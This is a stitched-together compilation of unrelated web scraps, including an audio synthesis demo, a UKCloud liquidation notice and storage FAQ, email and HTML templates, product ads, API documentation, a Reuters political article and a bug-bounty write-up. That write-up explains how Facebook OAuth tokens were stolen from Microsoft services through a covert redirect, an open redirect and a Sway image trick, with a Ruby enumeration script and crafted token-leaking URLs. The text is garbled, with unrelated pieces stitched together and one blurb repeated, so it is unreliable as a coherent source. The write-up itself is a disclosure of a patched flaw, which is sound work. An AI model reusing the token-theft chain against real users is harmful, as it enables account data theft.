reference
ours
ours + FastNEWT
DDSP-tiny
trumpet
reference
ours
ours + FastNEWT
DDSP-tiny
violin
reference
ours
ours + FastNEWT
DDSP-tiny
timbre transfer
In these examples, we extracted F0 and loudness control signals from monophonic audio from an entirely different timbral domain -- in this case, vocal stems. We then fed these through the model to generate audio which retains the pitch and loudness from the source audio whilst the timbre is generated by the model.
source
flute
trumpet
violin
references
-
J. Engel, L. H. Hantrakul, C. Gu, and A. Roberts, “DDSP: Differentiable Digital Signal Processing,” in 8th International Conference on Learning Representations, Addis Ababa, Ethiopia, 2020. ↩ ↩2 ↩3
-
M. Le Brun, “Digital Waveshaping Synthesis,” Journal of the Audio Engineering Society, vol. 27, no. 4, pp. 250–266, Apr. 1979. ↩ ↩2
-
V. Sitzmann, J. N. P. Martel, A. W. Bergman, D. B. Lindell, and G. Wetzstein, “Implicit Neural Representations with Periodic Activation Functions,” arXiv:2006.09661 [cs, eess], Jun. 2020. ↩
-
X. Wang, S. Takaki, and J. Yamagishi, “Neural Source-Filter Waveform Models for Statistical Parametric Speech Synthesis,” IEEE/ACM Transactions on Audio, Speech, and Language Processing, vol. 28, pp. 402–415, 2020. ↩


UKCloud Limited (“UKC”) and Virtual Infrastructure Group Limited (“VIG”) (together “the Companies”) – in Compulsory Liquidation
On 25 October 2022, the Companies were placed into Liquidation with the Official Receiver appointed as Liquidator and J Robinson and A M Hudson simultaneously appointed as Special Managers to manage the liquidation process on behalf of the Official Receiver.
Further information regarding the Liquidations can be found here: https://www.gov.uk/government/news/virtual-infrastructure-group-limited-and-ukcloud-limited-information-for-creditors-and-interested-parties
Contact details:
For any general queries relating to the Liquidations please email<EMAIL_ADDRESS>For customer related queries please email<EMAIL_ADDRESS>For supplier related queries please email<EMAIL_ADDRESS>Private Cloud Storage FAQs
Service
What is the service?
Private Cloud Storage provides single-tenant storage Infrastructure as a Service. Your data is hosted in one of our UK data centres; or in your Crown Hosting Data Centre (CHDC).
How does Private Cloud Storage differ from UKCloud's Cloud Storage?
The Platform Only package in Private Cloud Storage provides you with the underlying Assured Cloud platform to host and manage dedicated storage hardware. You can arrange your own purchase of it, or UKCloud can broker it for you.
This service differs from Cloud Storage in that it allows you to purchase in bulk up front, to reduce the price per GiB.
What backup/disaster recovery options do I get?
You can choose between two protection levels:
STANDARD provides protection in one data centre
ENHANCED provides remote protection in our second data centre
Where will my data be physically stored?
Your data will be stored in our highly resilient, UK-sovereign tier 3 data centres, which are separated by over 100km.
How much data can I store?
A core benefit of Private Cloud Storage is that it can scale to meet the most demanding storage requirements.
What network protocols are supported on the platform?
There is native support for a wide variety of network protocols including SMB/CIFS, NFS, HTTP and, optionally, HDFS.
Management
How do I access the platform?
Documentation on ways to interact with the platform is available from the UKCloud Portal Knowledge Centre.
What software tools are available?
Advanced software features for Private Cloud Storage include auto-tiering, deduplication, retention, replication, quotas and snapshots.
Support
How do I raise a support ticket?
UKCloud's secure online Portal provides the most common service management functionality. Alternatively, you can contact support by phone or email.
How do I manage my services?
Private Cloud Storage on the Assured OFFICIAL domain can be managed over the internet (or other connectivity) by raising a Service Request via the My Calls section of the UKCloud Portal.
For the Elevated OFFICIAL domain, the security requirements are much stricter and require either a PSN-approved connection, UKCloud Secure Remote Access, or CAPS-approved encryption.
What are your service maintenance windows?
See Understanding UKCloud service maintenance windows.
Onboarding
How can I get started with the service?
On acceptance of your order, we'll work with you to create a detailed design for your Private Cloud Storage service. The design will formalise the dedicated components required for the solution, including storage hardware, storage software, network hardware and cables.
If this is a new service for you, we will create your primary administrator account and send you a welcome pack, which includes the URL for the UKCloud Portal for access to the Knowledge Centre and service management function.
Billing and legal
What is the smallest unit of time I will be billed for?
Billing depends on the packaging option chosen. The smallest unit of time you will be billed for this service is monthly.
Private Cloud Storage is offered under a 24-month minimum term commitment.
How can I pay for the services?
Service charges are billed monthly in arrears. In addition, there will be initial upfront charges, which vary depending on the pricing model selected.
Payment can be made by direct bank transfer (BACS/CHAPS).
How can I view billing information?
Billing information is available via the UKCloud Portal.
What are the termination fees?
An early exit charge will be payable if the contract is terminated before the end of its original term. You are responsible for extracting their data from the platform if required.
UKCloud may make an additional charge for transferring data out of the service.
Is there a free trial?
Owing to the dedicated, single-tenant nature of this service, no trials are available.
Security
What data is suitable for your cloud?
This service is hosted in the UK and operated by SC-cleared staff. It has extensive independent validation (including CESG design reviews) that it is fully aligned with the 14 NCSC Cloud Security Principles, and is therefore ideal for all data classified at OFFICIAL (including OFFICIAL SENSITIVE) and legacy IL0--IL4 solutions.
Can systems on different UKCloud platforms communicate with one another?
UKCloud's Cross Domain Security Zone allows you to use a customer-designed and managed Walled Garden, to enable communication between platforms.
For more information, see the Cross Domain Security Zone Service Definition.
Feedback
If you find a problem with this article, click Improve this Doc to make the change yourself or raise an issue in GitHub. If you have an idea for how we could improve any of our services, send an email to feedback@ukcloud.com.


{% if name %}
Welcome, {{ name }}!
{% else %}
Welcome!
{% endif %}
{% endblock %}
{% block content %}
{% if alias %}
{% call text() %}
This is the first email you receive via your first alias{{ alias }}.
{% endcall %}
{% call text() %}
This alias is automatically created for receiving SimpleLogin news and tips -
feel free to disable it if you don't need any of
these.
{% endcall %}
{% endif %}
{% call text() %}
To better secure your account, we recommend enabling Multi-Factor Authentication (MFA) or WebAuthn (Yubikey) on your
Setting page.
{% endcall %}
{% call text() %}
If you are using Firefox or a Chromium-browser like Chrome, Edge, Brave, you can
install our Firefox add-on
or Chrome extension
to create aliases in one click (literally).
{% endcall %}
{% call text() %}
{% endcall %}
{% call text() %}
SimpleLogin is also available on
Android and
iOS
so you can create new aliases on the fly.
{% endcall %}
{% if user.in_trial() and user.trial_end %}
{% call text() %}
When you signed up, you can use all premium features like custom domain, alias directory,
mailbox,
PGP without any limit during 7 days (the "trial period").
No worries: all aliases you create during this period
will continue to work normally even if you don't upgrade.
{% endcall %}
{% endif %}
{% call text() %}
At any time, you can reach out to us by:


Home
FastQ Quality Control
Mapping Statistics
Line Number
Reference
Input file
Total reads
Total aligned
Total unique
{{m.lno}}
{{m.reference}}
{{m.inputFile}}
{{m.totalReads}}
{{m.totalAligned}}
{{m.totalUnique}}


Massage Therapy Appointment Booking Software
Book massage appointment online with no hassle
Get Started
Best Customer Appointment Booking Software for Massage Therapists
Great news for massage therapists looking to free their time and grow your business. Our appointment booking software is a great tool for scheduling appointments with minimum efforts on your part, and even for your clients. Find out what’s all the rage about our best productivity software.
Simple Setup
Easy to set up, and fast to start your massage therapy business online in just a few clicks.
Time Management
Helps you to manage time spent on cancellation, rescheduling, and assignment of tasks to staffs.
Lessen No-shows
Automatically notifies customers, and reschedules for next available slot in case of cancellation.
Device Friendly
Mobile, tablet or computer, your customers can book massage therapy appointments from any device.
Anytime Anyplace
Your customers can access their favorite massage therapist from anywhere and anyplace comfortably.
Manage Payments
Now you can track all your income with automated records of payments and receipts without a worry.


Stealing OAuth tokens in Microsoft Web applications
TL;DR
The Connect with Facebook functionality of Microsoft is vulnerable to the OAuth Covert Redirect attack.
The redirect_uri
parameter can be modified by the attacker making the Facebook OAuth token leak to a domain not controlled by Microsoft and in this way steal user private information accessible through the token.
OAUTH GUIDE
A basic undestanding of the OAuth flow is useful to better understand this post, a very good guide can be found here. When reading the guide focus the attention on “Grant Type: Authorization Code” and the “Grant Type: Implicit” which are by far the most common approaches.
PROBING FOR WIDE REDIRECT_URI
The redirect_uri
parameter is very important because it represents the url to which the authorization_code/access_token (based on Grant Type) is sent. If we are able to change the value of the redirect_uri
and not to make the OAuth flow to fail (because of authenticity checks on the redirect_uri
) we could leak the token/code to a domain controlled by us.
Original Oauth request:
https://www.facebook.com/v2.0/dialog/oauth?client_id=441348565910475
&redirect_uri=
https://profile.live.com/cid-847183e5db31faa2/services
&scope=user_photos
Possible redirect_url:
- Completely different domain: redirect_uri=
https://attacker.com
; - Different subdomain: redirect_uri=https://
xxx.live.com
/cid-847183e5db31faa2/services; - Different folder: redirect_uri= https://profile.live.com
/xxx
;
The use of a completely different domain is very unlikely to work while in some cases the use of a different folder or subdomain is allowed. Our current payload is:
https://www.facebook.com/v2.0/dialog/oauth?client_id=441348565910475
&redirect_uri=
https://xxx.live.com/xxx
&scope=user_photos
SEARCHING FOR OPEN REDIRECT
The ability to leak the the token/code to a different subdomain/folder is not useful per se, however it provides to the attacker a wider attack surface to find an Open Redirect vulnerability. An Open Redirect endpoint is a url which redirects the user to a parameter value without any validation. The idea is to find an Open Redirect in *.live.com/* which would leak the token to a domain that we can control.
After some google dorking I have noticed that the endpoint:
g.live.com/0HE_TRACKSTAR_ENUS9/<number>
issues a 302 Redirect to external domains based on <number>
.
For example g.live.com/0HE_TRACKSTAR_ENUS9/1
redirects to http://www.msn.com/it-it/
Through a 30 line of ruby script I have enumerated the possible domains to which I could leak the token
require "net/http"
require "uri"
require 'cgi'
if ARGV.length < 4
puts "url_brute.rb <url to bruteforce> <start number> <end number> <file where to write>"
exit
end
base_url = ARGV[0]
start = ARGV[1]
ending = ARGV[2]
file_path = ARGV[3]
uri = URI.parse(base_url)
http = Net::HTTP.new(uri.host, uri.port)
file = File.open(file_path, "a")
start.upto(ending){|id|
uri = URI.parse(base_url+id.to_s)
request = Net::HTTP::Get.new(uri.request_uri)
begin
response = http.request(request)
found_url = response["Location"].to_s
rescue
found_url = id.to_s+ " Timeout"
next
end
file.write(id.to_s+ " "+found_url+"\n")
puts id.to_s+ " " + found_url
}
file.close()
Among these domains there are some which can be purchased like g.live.com/0HE_TRACKSTAR_CSCZ9/75011 which redirects to http://staysafe.org/ .
Making the user issue a GET request to https://www.facebook.com/v2.0/dialog/oauth?redirect_uri=http://g.live.com/0HE_TRACKSTAR_CSCZ9/75011&display=popup
&scope=user_photos+user_videos&client_id=441348565910475&ret=login
will leak the token/code to http://staysafe.org/.
CHANGING THE FLOW
Referencing to the guide that I have pointed out before the Grant Type
used by Microsoft is the Authorization Code
one. Using the exploit we can leak the Authorization Code
but in order to access the protected information we need to exchange the Authorization code
with the Access Token
. However in order achieve this we need to know the client_secret
which we aren’t able to get since it is stored on the Microsoft servers. In order to bypass this limitation we can change Grant Type
to the Implicit
one which directly provides the Access Token
to the url in the redirect_url field.
With the Facebook SDK this can be done by adding the parameter response_type=token.
STEALING THE TOKEN
An attaker could:
- Purchased the domain
http://staysafe.org/
; - Insert a small javascript script at staysafe.org to get the window.location.hash and parse it to
extract the token
; - Make the victim issue a GET request to
https://www.facebook.com/v2.0/dialog/oauth?redirect_uri=http://g.live.com/0HE_TRACKSTAR_CSCZ9/75011&display=popup
&scope=user_photos+user_videos&client_id=441348565910475&ret=login&response_type=token
.
TRIGGER THE EXPLOIT WITHOUT INTERACTION
The Connect with Facebook functionality can be used in the Microsoft Sway application
where I found a second vulnerability which would allow an attaker to make the user issue arbitrary GET requests by just viewing a "sway"
.
This is possible because, crafting a particular request in the Add image functionality, an attacker is able to persistently control the src attribute of an img tag
. I tried to exploit this kind of vulnerability to get an XSS however the quotes were escaped and the javascript:alert(1)
payload in the img src attribute doesn’t work in the modern browsers. However we can use this vulnerability to automatically make the user issue our “exploit GET request” triggering our exploit as soon as he view a maliciously crafted "sway"
.
- 15 May 2015 Vulnerability reported to the Microsoft Security Team
- 4 August 2015 Vulnerability patched
- 25 August 2015 Got reward of 1000$


Help for Canvas Course Manager
Note: This documentation only applies to course instructors; the ITS Service Center should consult separate documentation in their Knowledgebase.
Introduction
The Canvas Course Management tool allows UM instructors and users in specific roles to:
- Add non-UM external users to a Canvas course
- Add sections to an existing Canvas course
CCM is not visible to students (it does not appear in the left hand navigation for them). You can verify this if you like by checking Student View for your course.
Only UM uniqname holders can use CCM.
Adding non-UM external users to your Canvas course
To add external users, you must have an appropriate course role in Canvas (Teacher, TA, Assistant or Designer).
- Click Add non-UM users.
- In the box that opens, type the full email address of the external user, e.g<EMAIL_ADDRESS>- Check the box for the section you would like to add the external user to.
- On the right, choose a role for the user. Then click Next.
- The first time an external user is added to Canvas, you'll be asked for his or her first and last name. If the user has not previously used Canvas at UM, he or she will be sent an email with instructions on how to create a password and with a link to Canvas.
No other emails are sent automatically; some instructors choose to send an individual email to the users letting them know they've been added to the course.
- You'll see a confirmation that the user was added. You can then choose to add more users or click Done.
To delete a user who was added with the Course Management tool, use the Canvas People tool.
Adding sections to your Canvas course
To add a section to a Canvas course, you must be listed as the official instructor (primary, secondary, grad student instructor, or faculty grader) in MPathways.
- Click Add Sections.
- In "Your Other Courses," click Choose Sections to Add to the right of a course.
- Click Add to Course to add a section.
- Before saving an added section, you have the option to return it to the original course. Once saved, it's still possible to move it back to the original course (or to another course) by using the Course Management tool while you are in the other course.
Note that you cannot use the Course Management tool to completely remove a section from all of your courses. To do that, you will need to contact<EMAIL_ADDRESS>- When finished, click Save Sections and then Done.
Getting Help
Contact the ITS Service Center at<EMAIL_ADDRESS>or 734-764-HELP to:
- completely remove a section from all your courses
- rename a course
- ask a question


-
Strange Case of Dr Jekyll and Mr Hyde
Strange Case of Dr Jekyll and Mr Hyde is the original title of a novella written by the Scottish author Robert Louis Stevenson that was first published in 1886. The work is commonly known today as The Strange Case of Dr. Jekyll and Mr. Hyde, Dr. Jekyll and Mr. Hyde, or simply Jekyll & Hyde. It is about a London lawyer named Gabriel John Utterson who investigates strange occurrences between his old friend, Dr. Henry Jekyll, and the evil Edward Hyde.
-
Strange Case of Dr Jekyll and Mr Hyde
Strange Case of Dr Jekyll and Mr Hyde is the original title of a novella written by the Scottish author Robert Louis Stevenson that was first published in 1886. The work is commonly known today as The Strange Case of Dr. Jekyll and Mr. Hyde, Dr. Jekyll and Mr. Hyde, or simply Jekyll & Hyde. It is about a London lawyer named Gabriel John Utterson who investigates strange occurrences between his old friend, Dr. Henry Jekyll, and the evil Edward Hyde.
-
Strange Case of Dr Jekyll and Mr Hyde
Strange Case of Dr Jekyll and Mr Hyde is the original title of a novella written by the Scottish author Robert Louis Stevenson that was first published in 1886. The work is commonly known today as The Strange Case of Dr. Jekyll and Mr. Hyde, Dr. Jekyll and Mr. Hyde, or simply Jekyll & Hyde. It is about a London lawyer named Gabriel John Utterson who investigates strange occurrences between his old friend, Dr. Henry Jekyll, and the evil Edward Hyde.


Our goal is to inform the connection between global warming and rising sea levels through simple visualizations of data.
You're all in hot water now
North Cove, Washington


pepper.responder.sensory module¶
-
class
pepper.responder.sensory.
IdentityResponder
[source]¶ Bases:
pepper.responder.responder.Responder
-
ANSWER_ME
= ['My name is', "I'm"]¶
-
ANSWER_YOU
= ['Your name is', 'You are']¶
-
CUE_ME
= ['who are you', 'what is your name']¶
-
CUE_YOU
= ['who am i', 'what is my name']¶
-
requirements
¶
-
respond
(utterance, app)[source]¶ Respond to Utterance
When successful, respond should return a quality score and a callable implementing the response
Parameters: - utterance (Utterance) – Utterance to respond to
- app (Union[requirements]) – Components to Interact with as Response
Returns: response – response quality & responder function
Return type: float, callable
-
type
¶
-
-
class
pepper.responder.sensory.
LocationResponder
[source]¶ Bases:
pepper.responder.responder.Responder
-
CUE_FULL
= ['where are we', 'where are you', 'where we are', 'where you are', 'what is here']¶
-
SET_LOCATION_CUE
= ['we are in ']¶
-
requirements
¶
-
respond
(utterance, app)[source]¶ Respond to Utterance
When successful, respond should return a quality score and a callable implementing the response
Parameters: - utterance (Utterance) – Utterance to respond to
- app (Union[requirements]) – Components to Interact with as Response
Returns: response – response quality & responder function
Return type: float, callable
-
type
¶
-
-
class
pepper.responder.sensory.
PreviousUtteranceResponder
[source]¶ Bases:
pepper.responder.responder.Responder
-
CUE
= ['what did you say', "i didn't hear you", "i can't hear you", 'come again', 'excuse me']¶
-
REPEAT
= 'I said:'¶
-
requirements
¶
-
respond
(utterance, app)[source]¶ Respond to Utterance
When successful, respond should return a quality score and a callable implementing the response
Parameters: - utterance (Utterance) – Utterance to respond to
- app (Union[requirements]) – Components to Interact with as Response
Returns: response – response quality & responder function
Return type: float, callable
-
type
¶
-
-
class
pepper.responder.sensory.
TimeResponder
[source]¶ Bases:
pepper.responder.responder.Responder
-
DATE
= ['what day is it', 'which day is it', 'what is the date', 'today']¶
-
DAYS
= ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']¶
-
MONTHS
= ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']¶
-
requirements
¶
-
respond
(utterance, app)[source]¶ Respond to Utterance
When successful, respond should return a quality score and a callable implementing the response
Parameters: - utterance (Utterance) – Utterance to respond to
- app (Union[requirements]) – Components to Interact with as Response
Returns: response – response quality & responder function
Return type: float, callable
-
type
¶
-
-
class
pepper.responder.sensory.
VisionResponder
[source]¶ Bases:
pepper.responder.responder.Responder
-
I_SAW
= ['I saw', 'I have seen', 'I think I observed']¶
-
I_SEE
= ['I see', 'I can see', 'I think I see', 'I observe']¶
-
NO_OBJECT
= ["I don't see anything", "I don't see any object"]¶
-
NO_PEOPLE
= ["I don't see anybody I know", "I don't see familiar faces", 'I cannot identify any of my friends']¶
-
SEE_OBJECT
= ['what do you see', 'what can you see', 'what did you see', 'what have you seen']¶
-
SEE_PERSON
= ['who do you see', 'who can you see']¶
-
SEE_PERSON_ALL
= ['who did you see', 'who have you seen']¶
-
SEE_SPECIFIC
= ['do you see ', 'can you see ', 'where is the ']¶
-
requirements
¶
-
respond
(utterance, app)[source]¶ Respond to Utterance
When successful, respond should return a quality score and a callable implementing the response
Parameters: - utterance (Utterance) – Utterance to respond to
- app (Union[requirements]) – Components to Interact with as Response
Returns: response – response quality & responder function
Return type: float, callable
-
type
¶
-


toast
Proprietary InstaGlo heating system with large color touchscreen controls toasts fast, evenly and consistently every time; Toasters are obsolete, SEE VIDEO BELOW TO LEARN WHY Say goodbye to slow toast, burnt toast, toast that gets stuck, and toast you have to toast again; See the speed, taste the difference! Toast your family and friends this holiday season with the gift of the #1 best selling smart toaster. Always crispy on the outside, warm and delicious inside, on every toast shade setting Toast breads, bagels, English muffins, frozen waffles & toaster pastries perfectly, the first time every time, just the way you like it
About this item 4 Slice Toaster: Toast upto 4 slices of bread to crispy perfection; dual independent control panels to toast at different browning levels simultaneously; extra large, self centering slots ensure even browning and accommodate a variety of breads, including bagels, buns, English muffins, and more 6 Browning Settings: Choose preferred level of browning thanks to the shade setting dial, ranging from 1 (lightest) to 6 (darkest) 4 Push Button Functions: Defrost toasts frozen bread longer to ensure consistent results; Reheat allows for reheating toast so it warms without added browning; Bagel warms the outside and toasts the inside of bagels; Cancel ends the toasting session at any time High lift lever: Raises smaller pieces of bread up and out of toaster for safe, easy retrieval User friendly modern design: Removable crumb tray for easy cleaning; brushed and chrome stainless steel with blue LED indicators for sleek contemporary style; handy cord storage; 2 year worldwide warranty
About this item 900 watt 2 slice toaster with intelligent one touch auto lowering function; Voltage: 110 to 120 Volts Push-button controls for toast, a bit more, bagel, defrost, and lift and look functions. 5 Settings including- 'A Bit More', 'Lift & Look' , Defrost & Bagel. 2 Slice Extra Wide capacity to suit all bread types LED panel illuminates according to selected setting on variable browning control Brushed die cast metal housing; end of cycle beep; 1-1/5 inch-wide slots; cord wrap Dimensions- 11.25 x 7 x 7.75 inch. 1 year limited warranty


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object uchicago.src.reflector.PropertyDescriptor uchicago.src.reflector.ListPropertyDescriptor
public class ListPropertyDescriptor
Descriptor for model properties/parameters that can be represented as a closed list. A ListPropertyDescriptor can be used to present the user with a drop-down combo box containing a list parameter values of which he or she can choose one. It can also be used to represent a list of one type as a list of another type - a list of ints as a list of strings for example.
There are several ways to set up a list of parameter values to be displayed by the combo box. A vector of Objects, an array of Objects or a hashtable can be passed when the ListPropertyDescriptor when it is constructed. In the first two cases combo box displays the vector or the array, and passes the chosen object to the appropriate set method when combo-box item is selected. In the case of the hashtable, the values of the hashtable are displayed by the combox box and it is the key of the selected value that is passed to the appropriate set method. This allows for the display of natural language words representing numeric constants.
A ListPropertyDescriptor is typically setup in the constructor of your
model. For example,
A ListPropertyDescriptor is created with the name of the property, and a
hashtable as an argument. The property name must reflect the standard
get/set accessor method coding style. In above case, the model has two
methods getNType and setNType. Given the name of the property a
ListPropertyDescriptor will call the appropriate set method when an
item in the combo box is seleted. The second argument is a hashtable
whose keys are the actual objects that can be selected and passed to the
set method as well as a string representations of those objects.
In the above case, the hashtable contains two keys: an Integer with a value
of 0 and an Integer with a value of 1. The value of these to keys' are
the Strings "VON NEUMANN" and "MOORE" respectively. What the user will see
then is a combo box labeled as "NType" that contains two Strings "VON
NEUMANN" and "MOORE". When the user selects one of these strings, the
corresponding Integer is passed as an argument to the setNType method.
Descriptors is an instance variable (a hashtable) of the SimModelImpl class
and can be used by sub classes.
Hashtable h1 = new Hashtable();
h1.put(new Integer(0), "VON NEUMANN");
h1.put(new Integer(1), "MOORE");
ListPropertyDescriptor pd = new ListPropertyDescriptor("NType", h1);
descriptors.put("NType", pd);
| Field Summary |
|---|
| Fields inherited from class uchicago.src.reflector.PropertyDescriptor |
|---|
widget |
| Constructor Summary | |
|---|---|
ListPropertyDescriptor(java.lang.String name,
java.util.Hashtable hash)
Creates a ListPropertyDescriptor for the specified property and the specified Hashtable where the objects to be sent to the set method are the keys, and their String representations are the values. |
|
ListPropertyDescriptor(java.lang.String name,
java.lang.Object[] values)
Creates a ListPropertyDescriptor for the specified property and the specified array of values. |
|
ListPropertyDescriptor(java.lang.String name,
java.util.Vector values)
Creates a ListPropertyDescriptor for the specified property and the specified Vector of values. |
| Method Summary | |
|---|---|
java.util.Vector |
getValues()
Gets the objects to be put in the combo box. |
| Methods inherited from class uchicago.src.reflector.PropertyDescriptor |
|---|
getName, getWidget |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public ListPropertyDescriptor(java.lang.String name, java.util.Vector values)
name
- the name of the propertyvalues
- the objects to be displayed in the combo box and
passed to the appropriate set method.public ListPropertyDescriptor(java.lang.String name, java.lang.Object[] values)
name
- the name of the propertyvalues
- the objects to be displayed in the combo box and
passed to the appropriate set method.public ListPropertyDescriptor(java.lang.String name, java.util.Hashtable hash)
name
- the name of the propertyhash
- the objects to be sent to the appropriate set method -
the hashtable's keys, and their string representations - the hashtable's
values.| Method Detail |
|---|
public java.util.Vector getValues()
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


{% extends "global/Page.html" %} {% load staticfiles otree %} {% block title %} QUESTIONS {% endblock %} {% block content %}
To ensure that everyone understands the rules of the game, each participant is asked to answer a few questions.
{% next_button %} {% endblock %}


play
pause
mute
unmute
max volume
SSAU Radio
Update Required
To play the media you will need to either update your browser to a recent version or update your
Flash plugin
.


Effortlessly migrate content between your Magento environments.
MageFlow is a Magento extension for migrating content between development, staging and production environments.
Release faster
MageFlow can dramatically speed up content releases to your Magento sites.
Save time
MageFlow eliminates the time you're wasting on manually migrating content.
Work smarter
MageFlow helps you focus on creating content instead of managing it.
How it works?
Supported entities:
- Attributes
- Attribute sets
- Categories
- Customer groups
- Design changes
- Newsletter templates
- Order statuses
- Pages
- Polls
- Price rules
- Products (simple and configurable)
- Static blocks
- Stores
- Tax rules & classes
- Transactional emails
- Users & roles
- Widgets
Get MageFlow
MageFlow currently only supports Magento Community Edition 1.7-1.9.
If you're interested in helping us make MageFlow available for Magento 2 and Enterprise Edition please don't hesitate to get in touch.
Get it on GitHub


Trump says 'angry majority' supports him against impeachment drive
by By Steve Holland1 / 6U.S. President Donald Trump reacts during a campaign rally in Tupelo
By Steve Holland
TUPELO, Miss. (Reuters) - President Donald Trump said on Friday he believed an "angry majority" of American voters will support him against an impeachment inquiry as he sought to rally his supporters to voice their opposition to the Democratic attempt to oust him.
At a packed arena in Tupelo, Mississippi, Trump aired his grievances at length a day after the Democratic-controlled House of Representatives voted formally to lay out the rules for the inquiry into Trump's attempt to get Ukraine to investigate his Democratic rival Joe Biden.
"The American people are fed up with Democrat lies, hoaxes and extremism," said Trump. The Democrats, he said, "have created an angry majority that will vote many do-nothing Democrats out of office in 2020."
A Washington Post-ABC News poll released on Friday said Americans are sharply divided on impeachment, with 49 percent saying Trump should be impeached and removed from office, while 47 percent saying he should not.
Trump also voiced confidence that he will be able to defeat any Democrat who he ends up opposing in the November 2020 election.
"We're kicking their ass," he said.
He ridiculed Beto O'Rourke hours after the former U.S. representative abruptly dropped out of the race for the Democratic presidential nomination on Friday.

Trump returned again and again to the Ukraine scandal swirling around him. He defended his July 25 phone call with Ukraine President Volodymyr Zelenskiy that lies at the heart of the impeachment accusations against him.
"Now I'm an honest person anyway, but do you think when I'm making a call to a newly elected president of a country that I would say something improper when I know so many people are listening on the line?" said Trump.
Trump called on Republicans to rally around him.
"Make no mistake, they are coming after the Republican Party and me because I’m fighting for you," he said.
Trump was in Tupelo to campaign on behalf of the state's Republican candidate for governor, Tate Reeves, who is in a tight race against Democrat Jim Hood.
Trump blasted Hood.
"All I know is he fought very hard to elect 'crooked' Hillary Clinton and Barack Hussein Obama," said Trump, making sure to use the former president's middle name. "Not the kind of guy we need here - not here in Mississippi."
The contest on Tuesday could be an indicator of the country's mood a year away from the election that will determine whether Trump gets a second term as U.S. president.
(Reporting By Steve Holland; Editing by Sonya Hepinstall)


Appends the specified T
starting at the offset
using len
to the end of this Buffer.
Appends the specified T
starting at the offset
using len
to the end of this Buffer. The buffer will
expand as necessary to accommodate any bytes written.
Returns a reference to this
so multiple operations can be appended together.
if len
is less than 0
if the specified offset
is less than 0
,
if offset
+ len
is greater than the buffer's capacity
Appends the specified T
to the end of the Buffer.
Appends the specified T
to the end of the Buffer. The buffer will
expand as necessary to accommodate any bytes written.
Returns a reference to this
so multiple operations can be appended together.
The value to append to the Buffer.
A reference to this
so multiple operations can be appended together.
Returns a copy of the entire Buffer.
Returns a copy of a sub-sequence the Buffer as a org.vertx.scala.core.buffer.Buffer starting
at position start
and ending at position end - 1
Returns the byte
at position pos
in the Buffer.
Returns the byte
at position pos
in the Buffer.
if the specified pos
is less than 0
or pos + 1
is greater than the length of the Buffer.
Returns the Buffer as a Netty ByteBuf
.
Returns the Buffer as a Netty ByteBuf
.
This method is meant for internal use only.
Returns a copy of a sub-sequence the Buffer as a byte[]
starting at position start
and ending at position end - 1
Returns a copy of the entire Buffer as a byte[]
Returns the double
at position pos
in the Buffer.
Returns the double
at position pos
in the Buffer.
if the specified pos
is less than 0
or pos + 8
is greater than the length of the Buffer.
Returns the float
at position pos
in the Buffer.
Returns the float
at position pos
in the Buffer.
if the specified pos
is less than 0
or pos + 4
is greater than the length of the Buffer.
Returns the int
at position pos
in the Buffer.
Returns the int
at position pos
in the Buffer.
if the specified pos
is less than 0
or pos + 4
is greater than the length of the Buffer.
Returns the long
at position pos
in the Buffer.
Returns the long
at position pos
in the Buffer.
if the specified pos
is less than 0
or pos + 8
is greater than the length of the Buffer.
Returns the short
at position pos
in the Buffer.
Returns the short
at position pos
in the Buffer.
if the specified pos
is less than 0
or pos + 2
is greater than the length of the Buffer.
Returns a copy of a sub-sequence the Buffer as a String
starting at position start
and ending at position end - 1
interpreted as a String in UTF-8 encoding
Returns a copy of a sub-sequence the Buffer as a String
starting at position start
and ending at position end - 1
interpreted as a String in the specified encoding
Returns the length of the buffer, measured in bytes.
Returns the length of the buffer, measured in bytes. All positions are indexed from zero.
Sets the bytes at position pos
in the Buffer to the bytes represented by the Buffer b
on the given offset
and len
.
Sets the bytes at position pos
in the Buffer to the bytes represented by the Buffer b
on the given offset
and len
.
The buffer will expand as necessary to accommodate any value written.
Sets the bytes at position pos
in the Buffer to the bytes represented by the Buffer b
.
Sets the bytes at position pos
in the Buffer to the bytes represented by the Buffer b
.
The buffer will expand as necessary to accommodate any value written.
Sets the byte
at position pos
in the Buffer to the value b
.
Sets the byte
at position pos
in the Buffer to the value b
.
The buffer will expand as necessary to accommodate any value written.
Sets the given number of bytes at position pos
in the Buffer to
the bytes represented by the byte[] b
.
Sets the given number of bytes at position pos
in the Buffer to
the bytes represented by the byte[] b
.
The buffer will expand as necessary to accommodate any value written.
if len
is less than 0
if the specified offset
is less than 0
,
if offset
+ len
is greater than the buffer's capacity, or
if pos
+ length
is greater than b.length
Sets the bytes at position pos
in the Buffer to the bytes represented by the byte[] b
.
Sets the bytes at position pos
in the Buffer to the bytes represented by the byte[] b
.
The buffer will expand as necessary to accommodate any value written.
Sets the bytes at position pos
in the Buffer to the bytes represented by the ByteBuffer b
.
Sets the bytes at position pos
in the Buffer to the bytes represented by the ByteBuffer b
.
The buffer will expand as necessary to accommodate any value written.
Sets the double
at position pos
in the Buffer to the value d
.
Sets the double
at position pos
in the Buffer to the value d
.
The buffer will expand as necessary to accommodate any value written.
Sets the float
at position pos
in the Buffer to the value f
.
Sets the float
at position pos
in the Buffer to the value f
.
The buffer will expand as necessary to accommodate any value written.
Sets the int
at position pos
in the Buffer to the value i
.
Sets the int
at position pos
in the Buffer to the value i
.
The buffer will expand as necessary to accommodate any value written.
Sets the long
at position pos
in the Buffer to the value l
.
Sets the long
at position pos
in the Buffer to the value l
.
The buffer will expand as necessary to accommodate any value written.
Sets the short
at position pos
in the Buffer to the value s
.
Sets the short
at position pos
in the Buffer to the value s
.
The buffer will expand as necessary to accommodate any value written.
Sets the bytes at position pos
in the Buffer to the value of str
encoded in encoding enc
.
Sets the bytes at position pos
in the Buffer to the value of str
encoded in encoding enc
.
The buffer will expand as necessary to accommodate any value written.
Sets the bytes at position pos
in the Buffer to the value of str
encoded in UTF-8.
